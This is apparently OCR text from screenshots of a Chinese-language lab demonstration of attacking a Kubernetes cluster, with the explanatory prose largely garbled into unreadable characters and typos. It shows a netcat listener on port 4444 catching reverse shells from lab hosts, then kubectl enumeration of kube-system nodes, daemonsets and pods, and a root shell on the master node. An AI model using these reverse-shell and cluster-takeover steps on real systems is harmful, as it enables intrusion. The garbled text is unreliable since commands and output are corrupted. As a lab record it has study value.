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FUA Kubernetes ¥, BRI ENZIEERF kube-system w4
Zash, ASEEIENERFBEMENEERES, FRMPEkEFIa Bit.,

5 nc -lvv -p 4444

- N Ry “ > —o A rsi LT0 )S ap.org/ncat )
HAENG, TibREEDaemonSetixEpods, WERZENNSES. ety i S
Li ning on 0.0.0.0:4444
Connection from 192.168.124.128.
ConnPctinn frnm 192.168.124.128:57208.
: tty; job control turned off

kubectl get nodes -n kube-system
STATUS ROLES AGE VERSION
47d  vl.22.3
47d vl.22.3
kubrctl ] emonset -n kube-system
(UPPENT 4 UP-TO-DATE AVAILABLE NODE SELECTOR
kube-flannel-ds y 2 0
kube- proxy y : y 2
kubectl grt pndh -n kube-system
NAME STATUS RESTARTS
corvdna Td?Sﬂngf nﬂrhn / Running 12 (14m ago)
Running 12 (1l4m ago)
Running 14 (14m ago)
Running 14 (14m ago)
Running 15 (14m ago)
Running 14 (1lm ago)
Running 16 (l4m ago)
Running 0 5mdls
Running 2 (5m20s ago) 5m22s
Running 16 (l4m ago) 47d

= asd@centos2:~

XfF(F) fRIE(E) ZEEH(V) #EE(S) a(T)  FEA(H)

n 5 nc -lvw -p 4444
ersion 7.70 ( https nmap.org/ncat )
ning on :::4444
ning on 0.0.0.0:4444
Connection from 192.168.124.131.
Connection from 192.168.124.131:49626.
0: can't access tty; job control turned off
# whoami
root
# uname -a
Linux centosmaster 4.18.0-348.2.1.e18_5.x86_64 #1 SMP Tue Nov 16 14:42:35 UTC 20
21 x86_64 GNU/Linux

kube-flannel- dw ck58m
kube-flannel-ds-ktrjk
kube-proxy-Tsbdz

kube-pro

kube- b(hrdulrl centosmaster
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